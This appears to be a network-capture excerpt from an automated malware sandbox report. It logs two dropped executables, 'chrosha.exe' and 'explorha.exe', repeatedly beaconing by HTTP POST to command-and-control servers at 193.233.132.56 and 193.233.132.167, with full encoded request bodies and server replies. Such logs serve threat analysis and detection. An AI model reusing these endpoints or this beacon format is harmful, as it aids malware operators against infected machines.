Apr 19, 2024 03:32:35.495186090 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:35.745094061 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.5	50414	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:36.063841105 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:36.302973032 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.5	50415	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:36.102509975 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:36.349877119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.5	50416	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:36.550277948 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:36.801739931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.5	50417	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:36.600192070 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:36.851176023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.5	50418	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:37.167632103 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:37.416115046 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.5	50419	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:37.209405899 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:37.453845978 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.5	50420	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:37.664644003 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:37.912349939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.5	50421	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:37.697608948 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:37.942133904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.5	50422	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:38.277050972 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:38.528007030 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.5	50423	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:38.307742119 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:38.556583881 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.5	50424	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:38.775918007 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:39.024724007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.5	50425	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:38.809318066 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:39.062760115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.5	50426	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:39.379060030 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:39.622348070 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.5	50427	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:39.435887098 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:39.687964916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.5	50428	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:39.881346941 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:40.137111902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.5	50429	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:39.945732117 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:40.202685118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.5	50430	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:40.491050005 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:40.736274004 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.5	50432	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:40.572861910 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:40.827579021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.5	50433	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:40.987406015 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:41.240036011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.5	50434	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:41.183685064 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:41.434560061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.5	50435	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:41.593307018 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:41.832588911 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.5	50436	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:41.692735910 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
